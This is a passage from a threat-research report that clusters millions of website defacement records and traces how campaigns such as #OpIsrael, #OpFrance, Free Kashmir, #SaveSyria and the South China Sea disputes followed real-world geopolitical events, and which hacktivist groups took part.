gathers, analyzes, and clusters these millions of reports. As we identify the major campaigns of these defacers, we can provide further insights into how geopolitical events are reflected in web defacements. We also look at how different factors, such as the political beliefs and the decafers' religious inclination, can trigger and affect these attacks. Our first two sections provide high-level insights into our dataset of defacements, as well as some defining facts about the targets and tactics used by the defacers. Our next section on Real World Impact breaks down seven top campaigns that have affected Israel, France, India, Syria, Kosovo, and countries surrounding the South China Sea. We delve into specific conflicts in those areas and the defacements that happened in the aftermath. The succeeding sections cover the hacking groups' affiliations and how their collectives are organized\xe2\x80\x94some collectives are formed across continents, and some are a loose collection of local hackers. Recruitment tools and the methods used to distribute hacking techniques are also discussed. The final sections discuss other activities that defacers take part in, and how the current activities may evolve. Recently, there have been incidents of hackers who have gone from simple web defacement to activities supporting cybercrime. There is a real possibility that defacers and defacement groups will start to escalate their activities, move away from ideological motivations, and turn into cybercrime. 5 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Our Approach to the Investigation Our objectives include exploring motivations and influences behind website defacements, focusing on how geopolitical events act as triggers for web defacement activities. To better understand these dynamics globally, we gathered web defacement reports from third-party sources and processed them with an automated system we designed specifically for this purpose. Each web defacement report consists of: 1. Meta-information on the defacement, such as timestamp, website URL, the defacer's name, vulnerability, and more. 2. The deface page planted by the defacer (or modified, if this is the case). The deface page comes in the form of a source code (HTML/JS/CCS) and may contain small-sized external resources such as images. Additional content is fetched dynamically at analysis-time. Our system automatically analyzes each deface page via two components: 1. A static-code analyzer that extracts representative features (i.e., characteristics) from the page (like title, length, and encoding) in an offline manner. 2. A dynamic-code analyzer that renders the page with a headless browser and extracts additional features in an online fashion. This analyzer works better with dynamically generated pages (e.g., when a link is generated via JavaScript) or pages with external content like embedded streams of songs. The output of these components is a set of features that describe the page at high-level. These features are used as input for the following component: the campaign detector. The campaign detector looks for defacements that\xe2\x80\x94we believe\xe2\x80\x94are conducted by the same actor or criminal group. This is often the case with campaigns wherein multiple actors unite and conduct defacements that relate to each other, such as those with similar target choices or deface pages. In fact, defacers enlisted on the same campaign are usually provided with a template for rendering similar 6 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks deface pages. These templates provide consistency in promoting the criminal group and spreading the campaign's propaganda and motivations. This component groups similar pages accordingly, and represents them in form of clusters of web defacement campaigns. For this process, we make use of machine learning. We apply unsupervised learning to a set of features that well represents a summary of the pages \xe2\x80\x94 these are received from the static and dynamic analyzers mentioned before. The process automatically detects new campaigns and labels them for inspection. The result of this processing is indexed in an elastic-search back end and visualized via a web console. For each campaign, the console allows the analyst to inspect information like the lifespan of the campaign, the composition of the deface pages, as well as that of their actors. The console also allows analysis on how criminal groups are organized and if/when a certain actor belongs to multiple groups or moves from one to another. We will discuss the details of our system in a follow-up paper that will be released later in the year. 7 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Targets and Methods of Website Defacers As previously stated, our work is based on a large-scale analysis of 13 million website defacements that we collected from the following data sources: \xe2\x80\xa2 Zone-H2: 12,303,240 defacement incidents \xe2\x80\xa2 Hack-CN3: 386,705 defacement incidents \xe2\x80\xa2 Mirror Zone4 (now offline): 195,398 defacement incidents \xe2\x80\xa2 Hack Mirror5: 68,980 defacement incidents \xe2\x80\xa2 MyDeface6 (now offline): 37,843 defacement incidents Figure 1. The rate of web defacement records per year The total number of unique defacers is 104,135, and the total number of unique compromised domains is 9,929,484. Note that one domain can have multiple incidents recorded. 0 500K 1M 1.5M 2M 2016201520142013201220112010200920082007200620052004200320022001200019991998 8 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 2. Operating systems of defaced web sites Figure 3. Web servers of defaced websites Win 2008 Win 2000 Unknown Win 2003 Linux 338,306 402,076 637,392 1,548,583 9,074,567 Unknown IIS/5.0 Unspecified nginx IIS/6.0 Apache 244,402 334,898 757,306 1,525,578 8,541,048 9 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Other Modes RPC Server Intrusion Web Server External Module Intrusion Shares Misconfiguration Remote Administrative Panel Access through Bruteforcing SSH Server Intrusion Access Credentials through Man In the Middle Attack URL Poisoning Social Engineering FTP Server Intrusion Brute Force Attack Web Server Intrusion Undisclosed Vulnerability Configuration/Administrative Error Other Web Application Bug Other Server Intrusion Not Available Attack Against the Administrator/user (password stealing/sniffing) Known Vulnerability (i.e. unpatched system) 393,361 80,013 88,038 88,403 107,890 114,470 126,368 135,700 163,579 252,612 257,069 276,443 417,961 493,698 809,062 842,693 1,087,984 1,114,541 1,167,414 1,268,272 2,384,043 SQL Injection File Inclusion Vulnerabilities Figure 4. The methods of hacking as reported by defacers, based on defacement ID Information Based on the metadata voluntarily provided by the defacers (which we cannot validate), here is a visual representation of the class of vulnerabilities leveraged by the attackers: 10 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks The Role of Social Media We observed that defacers voluntarily leave contact information upon compromise, based on the features (i.e., characteristics) automatically extracted during the analysis of the deface pages. It seems to be common practice for attackers that push propaganda to advertise their beliefs and refer their \xe2\x80\x9cviewers\xe2\x80\x9d to social networking sites or provide contact emails of the group. Overall, we found that emails and Twitter are the primary forms of advertisement, with 25% (email) and 8% (Twitter) of pages displaying at least one of these. In fact, 6% of pages have multiple contact emails. In contrast, the telephone seems to be an unloved form of contact\xe2\x80\x94only 3% of our attack records have telephone information. Not a surprising percentage since it may expose the defacer to attribution. Another interesting aspect of propaganda-driven attacks on websites is the addition of streaming\xe2\x80\x94songs played in the background of the page or even visual aspects. Our data found that 32% of the defacements have an embedded URL referencing either a streaming provider (like YouTube) or an audio file hosted on an external resource that is most likely another compromised machine. We manually investigated some of these cases and confirmed that most of these songs are related to religion. 11 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Real-World Conflicts Reflected in Cyberspace Mass attacks, or attacks that typically use automated hacking tools to compromise as many websites as possible indiscriminately, are common across the web. But in the course of our research, we noted a more coordinated form of attack that we labeled \xe2\x80\x9ccampaigns\xe2\x80\x9d. In a campaign, the attackers launch specific attacks as a reaction to certain events, to push an agenda, make known their grievances, or spread political messages. Our system allowed us to identify the top seven campaigns connected to and motivated by real-world conflicts. In the graph below, the horizontal (X) axis pertains to the number of attackers participating in a particular campaign, while the vertical (Y) axis maps the number of hacktivism-related defacements on record. The data shows that the #OpIsrael campaign garnered the most number of attackers, while Free Kashmir has the most number of defacements. We will delve deeper into these campaigns in the succeeding sections. 0 100 200 300 400 500 0 5K 10K 15K 20K nu m be r of d ef ac em en ts number of attackers Free Kashmir #opisrael #savesyria #antiserbs #opindia #opfrance South China Sea Figure 5. Overview of the top seven defacement campaigns from collected data 12 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Conflicts Spark Anti-Israel Defacement Campaigns So far, we've identified three major anti-Israel web defacement campaigns. The first (and the longest) is #OpIsrael, which is composed of several campaigns supported by different groups. Then there is the #OpSaveGaza campaign, which is a short, but highly effective defacement campaign in reaction to Israel's Operation Protective Edge. Last is #OpBader / #ElectronicBader / #BaderOperation, a loosely organized campaign with multiple groups participating that has gained traction since May 2016. 0 200 400 600 800 1,000 1,200 31/08/201630/04/201630/09/201528/02/201530/07/201431/12/201331/05/201330/09/2011 #OpIsrael #opsavegaza #opelectronicbader... Figure 6. #OpIsrael, #opsavegaza and #opbader / #electronicbader / #baderoperation timelines The struggle between Israel and Palestine is one of the longest modern-day conflicts, starting in 1948 and continuing to this day7. Israel's continued occupation of the West Bank and military operations in Gaza only serve as fuel to the anger of Palestinians and other groups sympathetic to Palestine. 13 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks 0 3K 6K co.zaorg.ilinhugov.ghplitcafrnlinfodecom.brcom.aurunetco.ukorgco.ilcom Target TLDs of #OpIsrael Defacements These defacements are not random. As much as possible, the hacking groups target Israeli websites, as co.il and org.il top-level domains (TLDs) rank second and sixth respectively in the distribution of defaced websites carrying anti-Israel messages. Figure 7. Target sites for #OpIsrael #OpIsrael The very first #OpIsrael web defacement was made by ""imLulzPirate"" on August 26, 2012. The website myisrael.us fell victim to the defacement, with the main page of the website altered to display a politically charged message against Israel and Zionism. The defacement embeds a YouTube video uploaded by Canadians for Justice and Peace in the Middle East, condemning the Gaza War in December 2007 \xe2\x80\x93 January 2008. 14 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 8. The first #OpIsrael defacement made by imLulzPirate #OpIsrael did not gain any traction after the initial defacement made by imLulzPirate. It took several months for members of the Anonymous collective to support the cause and organize a campaign against Israeli websites. The first organized large-scale defacement campaign happened on April 7, 2013, a date chosen because it coincides with Holocaust Remembrance Day. This attack has been repeated every year since then, with 326 defacers executing 11,000 plus defacements on more than 5,400 domains. #OpIsrael Sub-campaigns #OpIsrael Engaged is a sub-campaign that started in 2015 and continued up to 2016. Similar to the main #OpIsrael campaign, it peaked every April 7. The AnonGhost team, a tight-knit group that claims to have members from Mauritania, Morocco, Malaysia, Indonesia, Tunisia, USA, and Ireland, mostly did the 2015 campaign. Anonymous Arabe, a loose group of hackers from Arabic-speaking countries in the Middle East and North Africa, was responsible for the majority of the 2016 campaign. 15 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 9. Defaced pages by AnonGhost Team and Anonymous Arabe showing identical wording for the #OpIsrael Engaged campaign It is worth noting that AnonGhost seems to have either branched out to other countries or has sub- groups, with AnonGhost being the umbrella group. So far we've seen AnonGhostDz, which is the Algerian sub-group, AnonGhost Indonesia, AnongGhost Gaza, AnonGhost Tunisia, AnonGhost Maldives, and AnonGhost Vietnamese. #OpIsrael Decided is another sub-campaign that started around the same time as #OpIsrael Engaged, and uses a similar message. It is supported mostly by an AnonCoders team that is a loose association of hackers from Albania, Tunisia, Morocco, Lebanon, Bangladesh, Indonesia, and France, among others. 16 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 10. #OpIsrael Decided defacement pages shows similar wording to #OpIsrael Engaged #OpBader / #ElectronicBader / #BaderOperation This is a larger campaign with 2,759 defacement records, which is as many as the #OpIsrael Engaged and #OpIsrael Decided sub-campaigns combined. While #OpIsrael Engaged and #OpIsrael Decided had standard templates (and the participating hackers did not do much to alter these templates), #OpBader is loosely organized, with templates and messages that vary quite significantly. The only common identifiable string we can find related to this campaign is the use of these hashtags: #opisrael #alfallagaTeam #fallaga #fallagateam #tunisianfallagateam #opbader #electronicBader #baderoperation #hackers #fallagahackers ""Bader"" is a reference to the Battle of Badr, a significant battle won by the Prophet Muhammad in the early years of Islam8. These historical references strongly indicate that these hacking groups view themselves as cyber-jihadists, viewing their actions as part of a digital jihad. #OpSaveGaza The #OpSaveGaza/#SaveGaza campaign is related to #OpIsrael since both target Israel and Israeli actions in Palestinian territories, but #OpSaveGaza/#SaveGaza is mostly influenced by events in the Gaza region specifically. On July 2014, Israel launched Operation Protective Edge, which included airstrikes and a land invasion aimed at destroying tunnels from Gaza to Israel9. Not surprisingly, the first instance of #OpSaveGaza/#SaveGaza appeared in response to the land invasion. The defacements continued until October, and only when hostilities in the Gaza strip subsided significantly did the 2014 campaign die down. #OpSaveGaza had 3,415 defacements within that short period, making it one of the most active web defacement campaigns. 17 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 11. Sample defacement pages of the #OpSaveGaza campaign #Save Gaza #Save Gaza started in July of 2016 as a sub-campaign under #opBader, primarily driven by Anonymous Ghost Gaza. Among the sub-campaigns discussed, it has been the most vocal and the most forceful. While #OpIsrael Decided and #OpIsrael Engaged use relatively tame language, #Save Gaza incites violence and puts direct pressure on Israelis, threatening to steal credit card information, bank credentials, and other website credentials. 18 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 12. Forceful language in the defacement campaign #Save Gaza It is worth noting that Anonymous Ghost Gaza followed through on their threat to steal the personal information of Israeli citizens. Members of Anonymous Ghost Gaza posted Israeli citizens' credit card information and online account credentials on their Facebook page and Pastebin. 19 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 13. Hacking groups publicly expose Israeli citizens\xe2\x80\x99 information and financial details 20 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Mohamad Bseso DexmoD AnonGhost GAZA fallaga team Anonymous Arabe MrHax Fallaga Team Dr.T3rr0r Memberal_Force Hitch |N|ewbieC27 VandaThe God Black Worm CapoO_TunisiAnoO Groups behind the Campaigns Hackers and hacking groups participating in #OpIsrael campaigns are mostly from Arabic-speaking countries in the Middle East and North Africa, with other groups from Bangladesh, Malaysia, and Indonesia also participating. Note that these are countries that do not recognize the validity of Israel as a state. Figure 14. Top 15 participating hacking groups and hackers The common use of the name ""fallaga"" by hackers and hacking groups in North Africa is a reference to ""felaghas"" or ""fellagha"", armed groups that were instrumental in driving out the French from Algeria in the Algerian War that lasted from the 1950s to early 1960s. Charlie Hebdo Aftermath Results in #OpFrance On January 7, 2015, two men attacked Charlie Hebdo, a French magazine that caused controversy several times in the past through its satirical cartoons about Islam and the prophet Muhammad. The attack left 12 people dead and 11 injured10. In the aftermath, France was a target of other attacks, this time in cyberspace. The smaller campaigns under #OpFrance include #OpCharlie, #OPCHARLIEHEBDO, and #AntiCharlieHebdo. 21 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks 0 350 175 9/2 5/2 01 6 8/2 8/2 01 6 7/1 7/2 01 6 1/2 4/2 01 6 1/1 0/2 01 6 1/3 /20 16 12 /27 /20 15 12 /20 /20 15 12 /13 /20 15 12 /6/ 20 15 11 /29 /20 15 11 /22 /20 15 11 /15 /20 15 11 /8/ 20 15 11 /1/ 20 15 10 /25 /20 15 7/1 9/2 01 5 7/1 2/2 01 5 7/5 /20 15 6/2 8/2 01 5 5/3 1/2 01 5 5/2 4/2 01 5 4/1 2/2 01 5 4/5 /20 15 3/2 2/2 01 5 3/1 5/2 01 5 3/8 /20 15 3/1 /20 15 2/2 2/2 01 5 2/1 5/2 01 5 2/8 /20 15 2/1 /20 15 1/2 5/2 01 5 1/1 8/2 01 5 1/1 1/2 01 5 1/4 /20 15 Figure 15. Timeline of #OpFrance\xe2\x80\x94activity peaked January to March 2015, right after the Charlie Hebdo attacks Target TLDs of #OpFrance Defacements Similar to the attacks against Israel, #OpFrance hackers were trying to target French websites, as evidenced by .fr domains having the second-most domains that had sites defaced. 0 500 250 ingouv.frcom.argrcabeplco.ukeucom.uainfodecom.brnlnetdkruorgfrcom Figure 16. Target sites for #OpFrance This campaign focused on French websites, with defacers targeting sites of companies like the French supermarket Carrefour, or sites with .fr TLDs. From our data, 36% of #OpFrance defacements have .fr TLDs. 22 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 17. Defacement pages for the #OpFrance campaign Hacking groups from Muslim-majority countries such as Tunisia, Syria, Mauritania, Morocco, Bangladesh and Indonesia began targeting French websites in an #OpFrance web defacement campaign that appear to be in support of the attacks. Some of the defacements even paraphrased Saudi-Australian Islamic preacher Junaid Thorne's statement on the matter, \xe2\x80\x9cIf you want to enjoy 'freedom of speech' with no limits, expect others to exercise 'freedom of action.'\xe2\x80\x9d 23 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 18. Defaced page promoting Islamic preachers\xe2\x80\x99 statement on Charlie Hebdo Even though several groups were part of #OpFrance, the Middle East Cyber Army was particularly active and did the majority of the defacements. This group includes members that belong to other hacking groups such as Anonymous Arabe and some hackers from North Africa. It is worth noting that one suspected member of the Middle East Cyber Army was arrested several months after the January \xe2\x80\x93 March #OpFrance campaign. The Bulgarian police arrested a 21-year-old Syrian student residing in Bulgaria, believed to be the leader of the group11. Based on the defacement pages of Middle East Cyber Army, the hacker with the alias ""The Greatest"" was arrested. The group modified their defacement pages to include #OPSaveTheGreatest after the arrest. Figure 19. Defaced page modified to support \xe2\x80\x9cThe Greatest\xe2\x80\x9d, who was supposedly arrested in Bulgaria 24 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Groups Behind the Campaigns The visualization below shows the Middle East Cyber Army to be the most active group behind #OpFrance. AnonGhost, which was active in the anti-Israel defacements, also widely participated, as well as hackers from Mauritius (Mauritania Coder), and some from Bangladesh and Indonesia. Middle East Cyber Army Mauritania coder MrAhSan HaXor Hani Xavi ZeSn Rexal Scooterist BL4CK- T3RRO- RIST Casa- blanca Haxorz Hexlook Amine Moodz AnoaGhost Owner Dzz Prosox Mr.bz AnonGhost Figure 20. Top 15 participating hacking groups and hackers Indian Border Disputes Trigger Campaigns Like Israel, India has unresolved territorial disputes with its neighbors and sees frequent clashes along its borders. The unresolved dispute with Pakistan regarding Kashmir and Jammu, as well as the challenges of patrolling and enforcing the border between India and Bangladesh (the fifth longest land border in the world), makes for a volatile situation. It's further exacerbated by constant defacements between Pakistani and Indian hacking groups, and between Bangladeshi and Indian hacking groups. 25 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Target TLD\xe2\x80\x99s of #OpIndia 0 250 500 bybiz.idOtherhucom.archlkbiznet.ininfocogov.inedu.inorg.innetorgco.inac.inincom Figure 21. Target sites of #OpIndia The hackers targeted Indian websites, as evidenced by the TLD's .in, ac.in, co.in, org.in, edu.in and gov. being in the top nine domains with websites defaced. Cricket leads to #riseofthetigers Even cricket teams became a trigger for defacement campaigns, illustrating the degree of tension between India and its two neighbors. The campaign #OpIndia started on March 2015, executed by Bangladeshi hackers, after Indian politician Shashi Tharoor tweeted that he preferred to face the Bangladesh cricket team (called The Tigers) in the Cricket World Cup quarterfinals. Tharoor reportedly felt Bangladesh was a weaker team that would give India an easier path to the finals. 26 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 22. Defacement page for #OpIndia with an image of the Bangladesh cricket team featured Figure 23. The Tharoor tweet that started the controversy Free Kashmir Led by Pakistani hacking groups ZCompany Hacking Crew (ZHC) and Muslim Liberation Army, Free Kashmir is a long-standing campaign that started in 2011. The attacks began with the calling out of the illegal occupation and human rights abuses the Indian Armed Forces committed against Kashmiris12. Free Kashmir has the most number of defacements out of all the campaigns studied, despite having only around half the number of attackers that #OpIsrael had. 27 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Pakistan is India's rival claimant to the disputed territory of Kashmir, and the defacement pages of both ZHC and Muslim Liberation Army commonly quote India's Penal Code Act No. 45 of 1860, which does not include the State of Jammu and Kashmir as part of India. However, the ruler of Jammu and Kashmir, Maharaja Hari Singh, acceded both territories to India in 194713. Figure 24. Free Kashmir campaign defacements The messages of ZHC and the Muslim Liberation Army have a Pakistani slant and do not necessarily reflect the sentiments of the Kashmiri people. However, they may gain traction with younger Kashmiris as ZHC and Muslim Liberation Army also highlight the human rights abuses and disappearances of Kashmiri activists and militants14, an issue that has not received international attention. Nationalism Inspires Retaliatory Hacking It is also quite common for hacking groups in India, Pakistan, and Bangladesh to start defacement campaigns against their rival country's websites. The presence of active hacking groups in neighboring, conflicting countries makes for a volatile situation, and these ""turf wars"" or ""nationalistic defacements"" can easily be triggered, and in a lot of cases, get out of hand. 28 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks One such incident happened in 2015 when a Pakistani hacker named Faisal 1337 hacked into multiple Indian websites. The government website of the state of Kerala was the most prominent website defaced. Figure 25. Indian local government websites hacked Immediately, hacking groups from India launched #op_pak_cyber_space, defacing hundreds of Pakistani websites in retaliation. Figure 26. Retaliatory attack from Indian hackers The defacement of Mumbai Airport Customs website by Pakistani defacer Alone Injector is another example. After the incident, Indian hackers retaliated with a campaign defacing the websites for Islamabad, Peshawar, Multan and Karachi airports in Pakistan. 29 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 27. Mumbai Airport Customs defacement Figure 28. The defacement page seen on Islamabad, Peshawar, Multan and Karachi airport websites 30 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Fallout of the Attacks between India and its Neighbors Aside from ongoing campaigns by Indian, Pakistani and Bangladeshi hackers (against or in response to each other's hacking), the real-world conflict between the three countries has significantly increased in the past two years. One event happened on January 2, 2016, when several terrorists attacked India's Pathankot Air Force base, killing several Indian military men and one civilian. The attack was later claimed and attributed to Jaish-e-Mohammed, a separatist group in Kashmir15. After the attack, Indian hacking groups retaliated by targeting Pakistani websites. Figure 29. Retaliatory defacements made by Team Indian Black Hats aka Indian Cyber Devils On September 18, 2016, attackers from Jaish-e-Mohammed, the same terror group responsible for the Pathankot Air Base attack a few months prior, launched another attack on an Indian army headquarters in Uri that left 17 army members dead, as well as all four attackers16. A few days later, the Indian government launched surgical strikes targeting locations in Kashmir. These series of incidents sparked back and forth campaigns between Indian and Pakistani hacking groups, with defacements containing politically charged messages, freedom slogans, or just plain hate speech. 31 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 30. Defacements generated by conflict with India Another event that triggered a sizeable defacement campaign was the drafting of Nepal\xe2\x80\x99s new constitution in September 2015. Some in India believed that the constitution marginalized certain ethnic groups; an issue that was highlighted when the Indian Express reported that India requested Nepal to make seven amendments to its constitution17. The report triggered an outrage in Nepal, as the message was seen as a foreign country meddling in the internal affairs of an independent sovereignty. The outrage triggered the #BackOffIndia campaign during October 2015, supported by DQN hacker and craXerbikash from Nepal, BloodSecurity from the Philippines, and several Pakistani hackers. Figure 31. A campaign triggered by India\xe2\x80\x99s involvement with Nepalese matters 32 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Groups behind the Attacks The most prominent anti-India defacements came from RiseOfTheTigers, a collective that was created just for the #OpIndia campaign in March 2015. Several Bangladeshi hacking groups joined RiseOfTheTigers: Bangladesh Grey Hat Hackers, Bangladesh Cyber Army, Team_CC, Bangladesh Script Kiddie Hackers, Blacksmith Hackers Team, 3xp1re Cyber Army, Bangladesh Black Hat Hackers, and others. RiseOfTheTigers Mr Anonymous Red Lizard Zero Cool Mr.Sh4hz3b-HaXoR rootheater Xl33tX_Sn4p3R Zain Haxor pk_Robot dulava! MrAhSan HaXor Mr Anon Criminal.BD Ghost_Root Mr. Bangladesh Figure 32. Top 15 participating hacking groups and hackers Military Actions prompt a #SaveSyria Campaign On April 22, 2016, the Syrian government launched airstrikes targeting residential areas in Aleppo during Friday scheduled prayers. The attacks happened despite a ceasefire agreement by both sides in February 2016. There were several more airstrikes, the worst of which hit the al-Quds hospital, killing 50 people18. The incident inspired a #SaveSyria campaign that exposed graphic images of wounded civilians in Aleppo. 33 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Target TLDs of #SaveSyria 0 1,500 750 infobeeufiplcom.uachbykzco.ukcom.brnlgrfrorgnetitdecomru Figure 33. Targeted domains of #SaveSyria Most of the #SaveSyria defacements targeted Russian websites because many suspected that Russia was behind the April 2016 airstrikes. Russia is seen as supportive of Syrian president Bashar al-Assad, and the country has reinforced Assad's regime through air superiority assets. Figure 34. Defaced sites showing graphic images of Aleppo 34 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks The Fallaga Team formed a loose collective called the Tunisian Cyber Resistance Al Fallaga Team, composed of Tunisian hackers and actively supported by hackers from Anonymous Arabe, Algeria, and Indonesia. They launched a defacement campaign with the hashtags #StopTheHolocaust, #AleppoIsBurning, #SaveAleppo and #SaveSyria. Campaigns Provoked by Kosovo Disputes Kosovo is a disputed territory and partially recognized state that declared its independence from Serbia in 2008. The majority of its population is of Albanian descent, and the country enjoys friendly relations with Albania stemming from common history and traditions. In Northern Kosovo, near Serbia, there are communities of Serbian descent that refuse to acknowledge Kosovo's independence. This tension reached a boiling point in 2011 when Kosovo Police clashed with ethnic Serbian rioters who refused to remove roadblocks going into enclaves of Serbian control19. Albanian hacking groups KSG-CREW, kwgdeface and AlbanianHackers launched the #AntiSerbs campaign a few months after the initial clashes. The campaign died down before the Brussels Agreement, which involved the integration of Northern Kosovo into Kosovo and had Kosovo Serbs manning the police and judiciary, was concluded. 0 200 400 3/3 1/2 01 4 2/2 8/2 01 4 1/3 1/2 01 4 6/3 0/2 01 3 3/3 1/2 01 3 1/3 1/2 01 3 12 /31 /20 12 11 /30 /20 12 10 /31 /20 12 7/3 1/2 01 2 5/3 1/2 01 2 4/1 9/2 01 2 3/3 1/2 01 2 2/2 9/2 01 2 1/3 1/2 01 2 12 /31 /20 11 11 /30 /20 11 10 /31 /20 11 Figure 35. Timeline of anti-Serbs campaign The defacement pages showed support for Kosovo independence, and also mentioned contested towns commonly involved in civil unrest. They listed Serbian-controlled territories bordering Kosovo with an Albanian majority and declared their desire to separate from Serbia and join Kosovo. 35 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 36. Web defacement pages supporting Kosovo Disputes in the South China Sea OpPhilippines and OpTaiwan On May 9, 2013, a maritime incident involving the Taiwanese fishing boat Guang Da Xing No. 28 and the Philippine Coast Guard resulted in the death of Taiwanese fisherman Hung Shih-cheng (\xe6\xb4\xaa\xe7\x9f\xb3\xe6\x88\x90)20. This incident led to many consequences, including sanctions and a military drill from Taiwan government, protests in Taiwan, and several cyberattacks. On May 10, 2013, people in Taiwan called for DDoS attacks against .gov.ph to force the Philippine government into issuing an official apology. Many hackers responded, attacking more than 30 .gov.ph sites21. 36 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 37. Forum post mobilizing visitors to launch DDoS attack On May 11, Filipino hacker ""Pinoy Vendetta""22 sent a warning message to Taiwanese hackers by defacing one Taiwan government site and several commercial sites. In response, AnonTaiwan launched #OpPhilippines the next day. 37 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 38. Web defacement page from ""PinoyVendetta"" After the attack, AnonTaiwan posted leaked data from .gov.ph sites on Pastebin. One noteworthy victim was dns.gov.ph, which is the .gov.ph domain registry website. More than 2,300 accounts, which were possible admin accounts for .gov.ph domains, were leaked. These government sites faced a huge risk. Potentially, attackers could change the name servers of domain names, government domain names would have resolved to invalid IP addresses, and important sites would have been inaccessible to the public. 38 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 39. Information leaked on Pastebin On May 25, 2013, Filipino hackers attacked 31 .tw sites in a campaign titled #OpTaiwan as a response to #OpPhilippines. The defaced pages displayed the messages, ""Stop attacking our cyberspace"" and ""Let our government handle this problem."" 39 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 40. Web defacement pages for #OpTaiwan Defacements over Territory Six countries\xe2\x80\x94China, Taiwan, Philippines, Vietnam, Malaysia, and Brunei\xe2\x80\x94are contesting several islands and features, rock outcrops, sandbars, and reefs in the South China Sea. Over the last few years, the tension between China and Vietnam, and China and Philippines has increased. China has taken aggressive action, from coast guard patrols to building facilities and installations in various contested areas. This has sparked defacement activities by several groups from Philippines, Vietnam, and China against their rival countries' websites. Attacker Team \xe8\xb6\x8a\xe5\x8d\x97\xe5\x9b\xbd\xe5\xae\xb0\xe7\x9b\xb8 oaddah ZeSn YoCo Smart Nama Defacer AnonReaper BloodSecurity HukbalaHack Anonymous Philippines AlfabetoVirtual 1937cn 1937cn Anonymous Philippines Silic Group Anonymous Philippines Anonymous Philippines BloodSecurity Anonymous Philippines Anonymous Philippines 1937cn Figure 41. Top defacers participating in South China Sea defacements, and the groups they belong to 40 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Early Attacks in 2011 Chinese marine surveillance vessels cut the cables of Vietnamese oil survey vessels in the South China Sea23. This incident triggered defacement attacks that started on June 3, 2011. A Vietnamese defacer 'Mr.N - Cubi11' attacked Chinese government websites. The page displayed Vietnamese patriotic slogans like ""Vietnamese People is Willing to Sacrifice to Protect the Sea, Sky, and Nation."" More Vietnamese defacers joined this campaign after24. Figure 42. Vietnamese defacer page From June 4, 2011, Chinese defacers started to retaliate by attacking .vn websites. Hongke Union (HUC), a well-known Chinese hacktivist group, mobilized its members and launched a series of attacks. Over 30 .gov.vn sites were defaced. 41 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 43. Chinese defacers retaliate After completing the attacks, the HUC sent out a summary reporting that their attacks were from June 4 to June 5, two function groups were created (one for DDoS, one for defacement), and several QQ chat groups and YY chat channels were created to coordinate attacks25. Some non-HUC hackers also joined the attack, compromising over 1,000 sites. Most of the victims suffered DDoS attacks and defacement. One popular Vietnamese search engine site was inaccessible for five hours. During the attacks, HUC found Vietnamese defacers attacking .cn sites. Chinese hacker group Silic also joined the retaliation. In their deface pages, Silic claimed that ""(Vietnamese defacers) first stir up trouble, we just attack back."" This group attacked 98 .vn websites on June 8. Most victims were .gov.vn sites26. 42 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 44. Silic Group defacement page OpChinaDown, 2012 On April 10, 2012, a standoff between the Philippine Navy and Chinese maritime surveillance ships over the disputed Scarborough Shoal (Huangyan in Chinese) in the South China Sea caused tension between the two countries. In response, Chinese defacers compromised the website of the University of the Philippines on April 20, 2012, leaving a message that claimed, \xe2\x80\x9cWe come from China! Huangyan Island is Ours\xe2\x80\x9d. 43 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 45. Defaced page of University of the Philippines The defacer group ""Anonymous #OccupyPhilippines"" responded on the same day, compromising several .cn sites. The statement ""Scarborough Shoal is ours!"" was prominent on the deface page27. Three days later, on April 23, the government of the Philippines claimed that two of its sites suffered DDoS attacks coming from Chinese IP addresses\xe2\x80\x94an apparent retaliatory attack from China. Defacements escalated quickly, triggered by the DDoS attacks28. 44 | A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks Figure 46. Page from #OccupyPhilippines On the same day, OccupyPhilippines and PrivateX launched a joint attack operation ""#OpChinaDown"". They attacked .gov.cn sites and posted DB schema and login credentials of victim sites on Pastebin. On April 25, the Silic group (the same organization that attacked .vn sites in 2011) joined the web defacement campaign and targeted .gov.ph sites. Besides derogatory statements against Philippine defacers, the page allowed visitors to leave messages on it. Over the course of 3 hours, over 30 visitors left messages on the defaced pages29. 45 | A 